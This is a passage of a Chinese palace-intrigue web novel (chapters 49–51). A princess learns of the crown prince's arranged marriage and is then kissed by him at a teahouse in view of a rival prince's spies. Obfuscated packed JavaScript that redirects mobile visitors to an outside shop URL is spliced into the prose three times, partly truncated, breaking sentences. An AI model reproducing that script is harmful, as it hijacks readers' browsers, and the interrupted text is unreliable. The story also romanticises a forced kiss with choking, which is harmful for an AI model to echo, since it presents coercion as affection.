唯一让人想不通的是,他们这么做也只能恶心他一番,对淮王争权似乎也没有半分作用。 周砚枕的眼神看起来有些寂寥,语气淡淡的:“你果然很聪明。” 重新回到这个世上,赵辞和周砚枕都不止一次的对她说过这句话。 “聪明”这两个字并不是暗讽,都是真心实意的表达。但无法否认,无论是谁,在说出这两个字的时候都心中不乏一丝悲凉。 聪明从来都不是坏事,但对一个被人保护的很好的人,聪明只是锦上添花,同样身为公主的赵清漓,拥有至高无上的尊贵,所有人都不曾注意到她本就是个很聪明的女子,她本也不需要去做一个聪明人。 因此,当一个原本并不曾展露过多聪慧的人突然变得聪慧起来,也绝对不是一件好事。 49. 第 49 章 贵妃生辰还有六日,甚少踏足驸马府的人却破天荒的携着礼前来拜访。 赵清漓看着府门前车马上堆的大箱小裹,再瞧车厢外无不透露贵气的装饰,以及披着裘一脸邀功表情站在门口等她迎接的那人,嘴角忍不住微微抽动。 “六哥好,你这是......”她指着正在井然有序地把车上的物件卸下挪进府中的众人,哑口无言。 赵齐一点儿也不见外,笑嘻嘻地往里进,像是回自己家一样自然。 “这不是一直忙得没时间来看你,今儿个这一车礼物算是我对你的补偿,你不用不好意思,该收就收下吧!”说着,他东转转西瞅瞅,带着探寻的眼神四处乱晃,嘴里还问着,“怎么,周砚枕不在?” 赵清漓跟在赵齐身后,心里虽然纳闷他怎么来得这么突然,但想着他是客人,也没好意思怠慢:“昨日听闻父皇把监国权交给了三皇兄,百官今日也都再度上朝议事,六哥不知道这事儿?” 他哪里会不知道,只是他和淮王还有别的事要做,永元帝特许了他们不必恪守议政规矩,手上的事儿更要紧。 赵齐挑了挑眉,回头把赵清漓上下打量了一遍:“我当然知道,你呢?周砚枕告诉你的?” 赵清漓乖巧地点点头。 忽然,赵齐向四周看了一圈,一脸神秘兮兮的样子,确认了周围没什么人,他把胳膊一抬从赵清漓颈后绕过去,接着搭在她的肩上,挤眉弄眼地凑近。 赵清漓倒不排斥这位皇兄的亲昵举动,反正他惯是如此,时间久了也就习惯了。 她艰难地偏头看了一眼垂在肩侧的手背,面露几分茫然,等待赵齐继续说下去。 赵齐果然耐不住开口:“你知不知道父皇为什么突然把监国权交给太子?” 这有什么好神秘的,古往今来皆有前证。 赵清漓理所当然地回答:“国君抱恙,太子监国,这是顺理成章的事。” 就知道她会这么说! 赵齐伸出一根手指在她眼前摇摆两下,一副知道内情的样子,得意地扬唇:“那为什么早不把大权给他,偏偏选在这个时候?” 赵清漓忍住想在他脸上挥拳的冲动,赔笑一声,配合地睁着眼睛眼巴巴瞧着他:“为什么呀?” 果然,赵齐的自尊心马上得到满足,一张嘴就像筛糠倒豆一般全都吐露出来:“因为一门亲事!皇妹我跟你说,咱们三皇兄要娶亲了,和秦尚书家的千金,秦雪霓你见过没有?哦,你应该不记得了,秦尚书家的夫人千金一个比一个话少,整日内敛的像那含羞草一样......” “六皇兄。”赵清漓微微皱眉,语气里夹着一丝不耐,打断了他的话。 “不好意思不好意思!越说越远了——”赵齐尴尬一笑,清了下嗓子继续道,“那个秦雪霓啊,人还算端庄,跟咱们三皇兄也算般配,就是出身低了些......” 般配...... 赵清漓的心忽的紧了一瞬,对这个词十分的排斥。 “六皇兄。” “啊!又扯远了!”赵齐忙举手示歉,总算表情正经起来,“其实是这样的,就如皇妹所言,监国权其实早就该交给三皇兄,不知为何父皇迟迟拿捏着没发话,眼看着朝臣众说纷谈,我估摸着父皇也是按捺不住,这才把三皇兄叫去问了,你也知道,父皇从前也问过皇兄娶妻的事,但咱们皇兄心高气傲啊,谁都看不上,没想到这次竟一口答应了!” 说到这时,赵齐突然停下,像是故意卖起关子。 难不成这其中还有什么玄机? 果然,赵齐摇头感叹起来:“我当时还觉得纳闷呢,皇兄怎么转了性,原来是因为父皇许给他监国大权,咱们皇兄这才愿意答应的!啧啧啧......你说这人呐,到底还是把权力看得最重......” 什么? 原来父皇还曾如此许诺过吗? 赵清漓脸色微微一变。 她未尝没有怀疑过赵辞答应婚事的动机,毕竟赵辞与秦雪霓从未有什么交集。再者说,凭私心来讲,她不觉得赵辞会喜欢那样规矩的大家闺秀,能站在他身边的女子,应当是更好的。 在赵齐眼里,他只觉得赵清漓是被这件事震撼到,一时想得出神了,于是抬起手故作老成地拍拍她的肩头:“你不用这么惊讶,我知道你和三皇兄关系不错,但是冠以赵姓,天生就是为争夺权势出生的,除了你皇兄我,哪个有例外?” 赵清漓敷衍地点了点头,惊讶归惊讶,她的脑子可没糊涂。 听完赵齐的话,她眨巴眨巴眼,一脸怀疑地偏头去问赵齐:“六哥这是从哪听来的消息?” “不信”两个字填满整张俏脸,赵齐见自己被怀疑,当场就跳起脚来:“我说皇妹,我什么时候给你带过假消息,你怎么能怀疑我呢!” “我不是那个意思。”赵清漓呵呵笑了下,有理有据说道,“上次在宫里的时候你也没提起过,今儿又来得这么突然,我觉得奇怪嘛......” 赵齐也没作多想,摸了摸下巴,信了她的说辞,随后解释:“起初我也觉得十分震惊,不过二哥素来不爱开玩笑,对三皇兄的事又不那么关注,总不至于拿这些事来诓骗我,那他也太无聊了!” 大约赵齐对自己这个妹妹从来没有什么防备心,再加上她和几位兄弟的关系一直也都不错,没有什么疏远的,因此也不觉得要隐瞒什么,自然有什么说什么。 三两句话,就将淮王透露此事的来源告知于她。 一种隐约的危险察觉在赵清漓心底冒了出来,她心中敲起警钟,面上却露出恍然大悟的样子,笑道:“原来是二哥说的呀,他近日同你一起办事,也是颇得父皇器重,想来这消息不会错了。” 这话听得赵齐心里高兴,背着个烂名声行走在外多年,头一次听人说他受器重,虽然这话里还有个别人,但也无伤大雅。 赵清漓趁机又问:“那二哥可有告诉你,父皇为何会看上秦尚书的女儿,我记得吏部尚书和二哥也交好,父皇怎么不将亲姑娘许给他呢?” 赵齐想了想,也有点疑惑:“......大概是惠贵妃没瞧上秦雪霓?” 赵清漓则是立刻捕捉到了一个重要人物——惠贵妃。 这亲事还有惠贵妃的事呢?不简单啊。 赵齐犹豫片刻,思量有些话该不该说,但是看到赵清漓顶着一脸单纯又期冀的目光,拉着他的袖子摇摇晃晃的,他最是拧不过女子撒娇,这又是他唯一的妹子...... 罢了!反正大家都是一家人,有什么不能说的! “好吧。”赵齐顿了下,迟疑地开口,“听二哥说,是惠贵妃的提议,虽然不知道她是怎么说的,反正父皇答应了,太子也答应了,也算皆大欢喜......是二哥不小心说漏了嘴,他不让我说出去的,说是怕人多心。” 多心?说得好听,是担心自己一家被牵扯进去吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999068|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵清漓嘴角随即泛起一丝冷笑,接着很快压下去。 她微微仰起头,露出耐人寻味的表情,试探地缓缓开口:“六皇兄,此番你特意来我府上,也是为了告诉我这件事吧?” 这个傻子,估计被人当枪使了还不知道。 果然如她所料,赵齐脸色变了下,略显尴尬地说:“什么都瞒不过你,其实要不是二哥提醒,我恐怕还未必抽得开身来和你赔罪,我这个做哥哥的实在不够称职。” 赵清漓抿唇笑了笑,姿态端庄道:“六哥言重了,这些都是小事,若因我而耽误了大事,皇妹可要自责了。好了,六哥还是快些回去,毕竟父皇任命你为主力,二哥就算再能干也不能代劳。” 赵齐眉头一皱:“啧——你怎么和母妃也说一样的话,头疼死了!” 她和丽妃都对淮王有疑心,自然会说同样的话,只是永元帝那边并未对赵齐透露半个字,她们也不敢贸然开口,只能尽量提醒他一点,免得他冲动起来给自己招来大祸。 赵清漓隐晦道:“舐犊情深,丽妃娘娘话还是要听一听。” 六皇子刚走,巷口的冬樱枝条深处似乎摇了几下,发出细微的沙沙声。 赵清漓以为看错了,驻足在门前回身望去,不过一瞬,高耸的枝条深处再度轻晃几下,落下几片粉薄的樱瓣。 她的杏眼微微眯起,一只脚悄悄后退半步,偏过头,做出随时要喊人的防备姿态。 在她准备还未做足之际,树干后的人影显然耐心已经耗尽,没给她留下思考的时间,一个闪身,如同神兵天降一般就这么直下落在她面前。 “哎呀哎呀!怎么这么长时间——”荀安一边抱怨,到处拍打沾在身上的花瓣和树叶,抬头间注意到赵清漓微微张着口错愕的表情,收起动作站好,对她挤出个笑容,“殿下早。” 也不算早了,已经快中午了。 赵清漓闭上嘴,稳了稳心神看向这个不速之客:“你在上面待了多久?不会是跟着六皇子一起来的吧?” “公主殿下果然聪慧!”荀安奉承地夸完,神情一凛,表明自己的来意,“殿下,太子在等您。” —————— 城中茶楼,门外是石板长街,街上人来人往好不热闹,门内是宾客满堂,招呼声络绎不绝。 赵清漓随荀安上了阁楼,推开雅间大门,外阁进去还有内阁,几扇轩窗皆是大开,满屋充斥着温暖的阳光,很是透亮。 靠近大道的一侧放着一张四方茶桌,一人墨发高束,玉冠银钗,棱角分明的侧颜镀着一层朦胧的金边,玄袍与室外的光亮格格不入,似乎是等得百无聊赖,长指在楠木的桌面上有一下没一下的敲着。 荀安回禀一声人到了,接着在她身后闭上房门。 窗外的叫卖声还能听到,赵清漓刚露出一丝踌躇,赵辞已然转过头来,手肘撑起的下颌之上,唇角带着似笑非笑的弧度,虽然什么也没说,但赵清漓知道他在等自己过去。 桌面上的茶水看起来已经凉透,但却一口没动,应该等了不短的时间。 赵清漓还是坐下了,毫不迟疑地发问:“选这么个显眼的地方见面,你是生怕别人看不见你吗?还是说监国大权刚刚到手,你是故意出宫炫耀,跑来孔雀开屏的?” 赵辞被她连续的问题问得竟出现片刻愣神,待他愣了一瞬后无奈地摇头,有些好笑地斜晲着她:“我以为你的第一句应该是好久不见,你很想我。” 50. 第 50 章 放在以前,赵清漓断不会信这种话是从她的太子哥哥嘴里说出来的,但现在嘛,倒是觉得屡闻不鲜了。 赵清漓忍不住瞪他一眼,没好气道:“好久不见,三皇兄风采依旧,就是越来越不会说人话了。” 赵辞低头笑了笑,默默地从旁拿起一只新的白瓷茶盏,描花的白瓷茶盏和茶壶勾着同样的花纹,但这壶里的茶水却是新换的,倒出来还冒着袅袅热烟和茶香。 他用手推到赵清漓的面前,抬起下巴对她道:“请用。” 语气神态都很自然,和他平日待客时一样。 分明这才是他原本的样子,也是十数年间他在她心里的样子,但现在赵清漓却觉得不习惯了,别别扭扭地垂下眼眸盯着面前的茶盏,喝也不是,不喝也不是。 “不喜欢?”赵辞温和地询问,在接收到她迟疑的表情时,自顾自点了下头,说道,“宫里的贡茶外边没有,这已经是味道最为相似的一种了,若你不喜欢,那便再换。” 宫中的望海贡茶是她最喜欢喝的,不似其他茶那般清涩或发苦,对于喜甜的人接受度很高。赵清漓第一次喝的就是望海茶,之后便也一直习惯喝这种,很少去换口味。 而赵辞并不喜欢这种味轻又回甘的茶,但赵清漓喜欢,所以他的宫里常年备的都是这种,只要她来便能喝到。 “不用了。”赵清漓摇了摇头,捧着茶杯轻轻抿了一口。 见状,赵辞悄抬了下唇角。 他当然知道赵清漓不是在介意这个,也知道赵清漓方才在迟疑什么,但是他偏要做出不懂的样子,就想看看她究竟能不能给他满意的回应。 放下茶杯,赵清漓把手搁在桌面上,再度抬头:“你还没回答我。” 赵辞眨了眨眼,歪着脑袋笑道:“你问了什么?一句一句问,这样我才好回答你。” 刚来到这里,赵清漓惊诧他选了这么个人烟众多的地方,又气恼他在这个节骨眼上还敢邀约自己,猛然见到他的那一刻,语气自然好不了。 反倒赵辞从她坐下就一直客客气气的,她静下心来一想,也不好意思再用那么冲的语气同他说话。 赵清漓沉吟了下,上下将赵辞打量一边,他穿着常服,又是昔日不曾穿过的黑色,虽然气质仍旧突出,但至少没带什么标志性的物件,也没带着大群侍卫,应该还好。 她把措辞稍转温柔点,道:“你怎么会出现在闹市,也太招摇了吧!” 赵辞意味深长的看了她一眼:“心中无愧,心则不虚。不过是想见见你,慌什么?” 这话说的,倒是把他自己摘得干干净净,颇有点倒打一耙的意思,偏偏赵清漓又不能反驳他,否则显得心里有鬼的好像是她一样。 暗自诽腹一通后,赵清漓拿起面前的茶杯灌了一口,不服气地说:“是你邀我来的,我有什么可慌的!我问你,是不是你让荀安监视我的!” 闻言,赵辞的眉梢挑起一个惊讶的弧度。 “这么严重的罪名我可担待不起!”接着他向前伏过身子,两个手肘支在桌面,笑盈盈地望着赵清漓道,“你也知道我不便抽身,只能让荀安一路跟着赵齐,他去你那定是说了我不少好话吧?” 好话?你倒是敢说。 赵清漓嗤笑一声,仔细想了想。 “的确说了你不少好话。”眼眸微闪了几下,赵清漓道,“看来你都知道了。” 瞧这样子,估摸着赵辞下朝之后就立即赶来了,至于赵齐为什么突然找她,连她都能猜得到,赵辞就更不用多说了。 赵辞点头:“嗯,知道了,所以急着来问你,都从他那里听了我什么好话。” 宫里前朝到处都是赵辞的眼线,就连赵齐刚刚动身启程,荀安都能一路跟着过来,她不信赵辞会猜不出赵齐说了什么话。 赵清漓懒散地掀了掀眼皮:“你都知道了还来问我?” 赵辞无奈摇摇头,带着眼中含着柔和的笑意,道:“你知道我在意的不是这个。” “我在意的,是你怎么想。” 并不陌生的悸动跟随他清风般的柔和的话语,再一次拨乱她的心房,那股异样感强烈的紧,让她感到犹如被剥去外衣一样难堪,生怕被对面目光灼灼的男人看透了去,于是赵清漓低下头。 她不想回答,抬起脸做出镇定的表情:“你在这里说这些,就不怕隔墙有耳?” 虽然她们所处的隔间是把角最后一个,距离最近的一间也有道楼梯相隔。 不过,手边木窗正支着,放眼望去,楼下的景象一览无余,她一低头就能瞧见大街上形形色色的人,甚至能听到靠近墙边交谈的一对男女正在讨论晚上回家要温壶酒尝尝。 楼下人若抬头望进这间屋子,亦能轻而易举看到室内的景象。 避而不谈,可以。 赵辞抬了抬唇角,嘴边勾出一个好看的弧度,沉静如渊的眸子跟着泛起星星点点:“那我是不是可以理解为,你想对我说的话是要避开旁人才能说得出口的?” 这和强词夺理有什么两样! 赵清漓蹙起眉,冷声说道:“皇兄,你是不是忘记自己快要有家室了,这么没分寸的话以后还是不要再说了!” “嘘。”隔着方桌,赵辞撑着手臂陡然靠近,目光牢牢锁着她脸上的神情,“你既担心隔墙有耳,还敢这么唤我?” 不然呢。 是要叫他赵辞,还是赵澜之? 赵清漓刚下意识想反驳,话到嘴边的一瞬间突然停住了,她挑起眼稍,凉凉地说道:“不然......我唤你沈意,还是沈公子?” 大约这名字是他外出办事才用的假名,算不得熟悉,在听到这两个字眼突然被提及时,她看到赵辞唇边一直弯着的弧度僵硬了一下,转瞬即逝。 接着他垂眸思索了片刻,答道:“可以。总之出了那座皇城,你我与它都不要有什么联系才好。” 谁要和他玩这种幼稚无聊的游戏,还以为是小孩子过家家吗? 赵清漓不以为然,轻嗤了一声。 “你叫我来就为了说这些无聊的话?”赵清漓将剩下的茶水饮尽,蓦然起身,“没别的事我就走了。” 从坐下到现在,她只问了两个问题,大部分时间都在听赵辞在这故作高深的和她绕圈子,他倒是很享受耽误她的时间,但却没考虑她的耐心被消耗的很快,几乎要殆尽了。 赵清漓也是拿捏住赵辞请她过来绝不会只是唠家常这么简单,索性装个要走的样子,好让他把该说的都说完,自己也能问出点名堂。 她起身说完故作要离开,赵辞还是不紧不慢的,甚至将头转去窗外,眼神落在斜下方。 象灰的雕镂石栏外,望不到尽头的灰褐大道,门前的两块青石板年久还没来得及修缮,车轮碾压过时就跟着左右翘起,咯咯的响。 赵辞开口:“他们看到了。” 没想到他会突然出声,说了句让人莫名其妙的话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17003011|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 赵清漓下意识的随着他目光也朝窗外看过去,熙熙攘攘的街巷依旧往复一日的繁华热闹,街上的行人虽然没有脸熟的,却也看起来没什么异样。 “谁看到了?”她脱口问出,随即又在楼下一张张人脸上扫过,还是没看出什么不对。 赵辞慢条斯理地转过头,望着她笑了笑:“淮王的人。” 什么! 淮王的人也跟来了? 她没多做思考就立刻坐回去,比刚才把背又挺直几分,只留个侧脸在窗沿后的阴影处,目光在外头暗暗搜索着。 也不知道这样子外面那些人看不看得清里面的状况。 赵清漓一边观察,一边把矛头指向对面一脸好笑的望着她的男人:“都怪你!约在茶楼也就罢了,还选了间窗户那么多的房间,你该不会是故意的吧?” “我是故意的。” 这一句意料之外的回答引得赵清漓诧异地看向他,又见赵辞悠哉的表情不像开玩笑,但又一点也不紧张,她迟疑了一下:“你早就知道他派人跟着你?” “是。”赵辞的回答简短而清晰。 赵清漓愣住了:“我不明白......” “我也不明白。”他缓缓起身,双手撑在桌上探过半身来到她的面前,一字一句压低着声音道,“我也想弄清楚他到底想做什么,为什么将你和赵齐牵扯进来,所以便将计就计......楼下那一男一女已经说了很久的话了,你没注意到吗?” 楼下那对衣男女,不论衣着还是长相都属于非常普通的类型,没有人会在不认识他们的情况下第一眼就注意到两人,赵清漓也不例外。 她下意识地想往窗外看,赵辞却伸出一只手拦住她的脑袋,拦下之后也没有放开,而是就这么搭在她的脸侧,也挡住了她向外看的视线。 这样距离就更近了,从外面看来一定更是暧昧不明。 赵清漓抬起眼眸,警惕道:“你做什么。” 茶桌并不大,四四方方横在两人之间,赵辞维持着这个姿势,继续刚才的话:“那个男人从你进来到现在已经重复了三次要温壶酒喝,他所谓的娘子也说了四次要去市集买菜,但是这两人说了这么久却一直在原地没动,显然是为了掩人耳目,根本不是路经此地的行人。” 经他这么一说,赵清漓恍惚回忆起自己的确听过男人说这样的话,却没注意他们说了多少遍。 正常人谁会在聊天的时候还去听路人说了什么,也就是赵辞这般谨慎有经验才能做到这种地步。 望着这张近的只有两拳多一点的俊容,赵清漓突然有一种不好的预感,立刻按上他挡在自己侧脸的手,扯了两下,那只微凉的手蔚然不动,就这么停在她的脸颊旁边。 赵清漓杏眼微瞪,又怕太大的动静会引起下面那两人的注意,只能带着警告的眼神压低声音:“你到底要做什么!” 相对的那副眼瞳,幽深不见颜色的瞳孔中映着两张一模一样清晰的脸,带着几分诧异和几分愠怒,以及一丝不知所措的慌张,这两张脸都是她的,足以说明她现在的心情有多紧张。 赵辞在她显得极为无力的防备神色注视之下,突然轻轻笑出了声。 随后,赵清漓看到自己的容颜在他瞳孔中迅速放大,带着温度的唇准确而迅捷地捕捉到她的,继而用力吻了下去,在她还没反应过来的时候,那只扶在她脸侧的手来到她的后脑扣住—— 下一刻,他加深了这个吻。 51. 第 51 章 一切发生在电光火石之间,根本由不得她顺从或拒绝,也由不得她思考。 待赵清漓清楚的认识到正在发生什么,第一个动作就是推开赵辞,下一个动作就是离他远远的,越远越好。 可惜天不遂人愿,刚刚走出桌椅范围,赵辞自身后跟过来,长臂一展,瞬间钳住她手腕轻易把人拉回来。 强劲的力量攥着她拉扯,一阵晕头转向之后,赵清漓眼前的所有实物再度回到静止,却已被人抵在墙边,两只手被反堵在身后墙面。 她的左侧,仍是那扇敞开的窗子。 他这是铁了心要让人瞧见! 赵清漓动弹不得,只能仰头瞪着他:“你是不是疯了!明知道淮王一直虎视眈眈要拿我们的事做文章,你还如此——” “你才知道我疯么?我以为从我踏进你寝宫大门那天,你就已经知道我疯了。”不同于她的恼怒抓狂,赵辞却是镇定的,“清漓,你现在才说我疯,我是该觉得欣慰,还是该觉得难过?” 撑在墙上的胳膊不知什么时候落下,那只大手带着属于他的温度,用极致温柔的动作抚摸在她脸上,从额角到眉梢,从眼尾到面颊,像是爱护一件稀世珍宝,不舍得多用一份力,生怕坏了碎了。 随着指尖的温度来到她的唇周,他手上的力度正在缓缓加重,指腹上的薄茧有些发硬,正在带着微小的力道摩擦她的肌肤,最后来到她的朱红的娇唇。 不再是对待心爱之物的那种力度,在他的掌心之下,赵清漓能隐约感受到他复杂的胸臆,是一种带着不甘和克制的情感,眼神中还夹杂着莫名像是的恨意。 她并非第一次明白面前这个男人是疯子,面对疯子,她做不到比他更疯而反制对方,只能尽可能让自己先平静下来,不要中了他的圈套。 赵清漓微微避开他的手指,给自己留出张嘴的空隙,趁机说道:“下面那两个人如果把消息告诉淮王,他先前的怀疑就会变成确定,到那时他会紧咬住你我不放!” “那又如何?”赵辞不以为意,捏着她的下巴猛然抬起,迫使她注视着自己,“你觉得我怕他?” 赵清漓扯了下嘴角,温顺道:“太子哥哥自然不会怕他,只是他若紧咬不放,我倒是没什么,只怕太子哥哥你的地位不保。别忘了,周砚枕已经对你有异心,他未必会再帮你。” 其实这话是她赌一把才说的。 周砚枕虽然已经有异心,但周慕紫是他的命脉,如今他顾得了自己,却还无法顾全姐姐,因此,他应该暂时不会做出背弃之事。 赵辞望着她,自始至终表情未改分毫:“你是关心我,还是在威胁我?” “我哪有资格威胁你。”好话坏话说尽,这人却还是油盐不进,赵清漓也明白了他的意思,于是道,“原来你叫我过来就是为了陪你演这出戏,好让淮王彻底认为你我有私。” 赵辞平静的面容上这才露出一丝笑意:“这话对也不对,我与你本就有私,不是演戏。” 说完,他的头微微侧开,正有压下来的趋势。 赵清漓缩了缩脖子,错开眼神朝一旁躲避着他的靠近,下巴跟着一道用力,和他的手势要争个高下。 极力反抗的动作引得赵辞大为不快,所剩不多的温柔和耐心终于彻底消耗殆尽,随之而来的是扳在她下巴上的手调转了角度,下一瞬,余下几根手指紧随其上,跟着他的掌心扼住手下的纤细长颈。 雪白纤长的脖颈干净娇嫩,不堪一握,在宽大的手掌包裹下显得更加脆弱可怜。 此刻的赵辞看起来毫无怜香惜玉之心,强硬地扼住她时,赵清漓觉得自己呼吸都停了片刻,不受控制地被迫扬起头,像一只待宰的小羊,只能红着眼圈儿等待屠刀落下。 可落下的不是屠刀,而是他蛮横强硬的吻,灼热的唇舌肆意厮磨着。 如同冷冬暖阳下的森林,干燥寂静,凑巧点了一团星点之火,之后便一发不可收拾,火势汹涌席卷而来,吞吐的火舌湮灭整片沉静干净的绿意,再不复原貌。 发髻被扯的松散了,如果有幸能让她挣脱,赵清漓想,自己的样子一定狼狈不堪。 口中唔唔的低声是倔强的反抗,她的嘴唇仍然死死抿着,牙关紧闭,不肯留给对方一丝可乘之机。 她还是想逃。 正是觉察到这点,赵辞趁机咬上她的下唇,稍微用力就把藏在里头的唇瓣拉扯出来,可他并没有就此住口,而是继续咬着,微微加重力道。 啃咬的动作让她吃痛,赵清漓立刻拢眉,疼痛让她理所当然地想去推对方,这时她再一次认清自己的手还被钳制在身后的现实,这简直又是条死路。 她就这样被他掐着、咬着,被迫与之唇舌交缠。 窗外是糟乱纷杂的闹市,没有人会刻意向楼上的房间里面张望,况且赵清漓的身后还有道墙,她虽然被堵在窗子边,赵辞的身影却是紧贴着她,一并笼罩在窗檐半片阴影下,看不真切。 除了方才那对男女看的真真的,他们是真实的瞧见赵辞亲上她,随即又与她一同躲在室内,人影微晃下,境况看起来十分暧昧。 事实也正是如此,一窗之隔,里面和外面是两幅光景。 外头纷扰,里头的人却浑然不觉似的,沉浸在自己的世界。 唇齿间留下的水声加以佐证,她应该庆幸邀约地点是这样一个闹市,后面才不会到一发不可收拾的地步。 他的隐忍和克制顿了一顿,猛然把自己抽开,鼻尖抵着她微微喘息,眼框却有一丝猩红。 赵辞倏然开口:“我亲你的时候,你在想什么?” 赵清漓脚软的不行,借墙面的力倚着才能维持这样的姿势,却难受的很,好不容易得到大口喘息的机会,她重重吸了几口气,眸色染了一层水汽,根本没听清他说了些什么。 见她不答,赵辞捏着她的脖子抬了抬,又问了一遍:“你在想什么?是喜欢我这样亲你,还是讨厌我、恨我,想杀了我?” 平心而论,方才那样的亲吻她不喜欢。 她讨厌在这样的情势下被迫承受他的压力,讨厌他自以为是强迫她必须迎合,讨厌他......像是玩弄棋子一样玩弄她。 也许是想到了更多,也许是颈间的束缚,这些都让赵清漓感到委屈,短短片刻,她眼睛鼻子都跟着一酸,鼻腔带着一丝要哭的声音。 泛红的水眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵清漓冷笑了一声,凉薄的唇角挂着浓浓的讥讽,望着那个用寂静如渊一样深不见底的眼眸回望自己的男人,质问道:“就因为我跟赵家没有血缘关系,就因为我不是你的亲妹妹,就因为我是个假的是个冒牌的吗!” 闻言,赵辞皱了皱眉,刚上前踏了一步,赵清漓立刻像受惊的兔子一样向后躲了一步,带着防备的目光紧紧盯着他。 赵辞只好停下脚步,和她维持先前那样的一段距离。 他凝着赵清漓,由衷道:“我很庆幸你不是我的亲妹妹,我也从未当你是我妹妹。” “所以你恨我?”赵清漓失望地摇了摇头,“因为我不是你妹妹却要与你兄妹相称,可是赵辞,这不是我的错,我不想、也不该承受你的恨。” 赵辞顿住,垂下眸子沉默了良久。 末了,他微低的声音缓缓说道:“......对,这不是你的错。” 兄妹相称,有名无实。 这些都不是她的错。 若真要怪,只能怪那个人。 赵辞静默了片刻,沉着声音说道:“是父皇的错。” 赵清漓的脸色变了一下,不吭声了。 照理说,她应该立刻反驳,维护她所谓的“父皇”。 可“父皇”并不是她的父皇,反而实实在在的是面前这人的“父皇”。 她没资格维护他,而有资格维护的,却不愿维护他。 而现在赵清漓觉得,赵辞说的没错。 是他的错。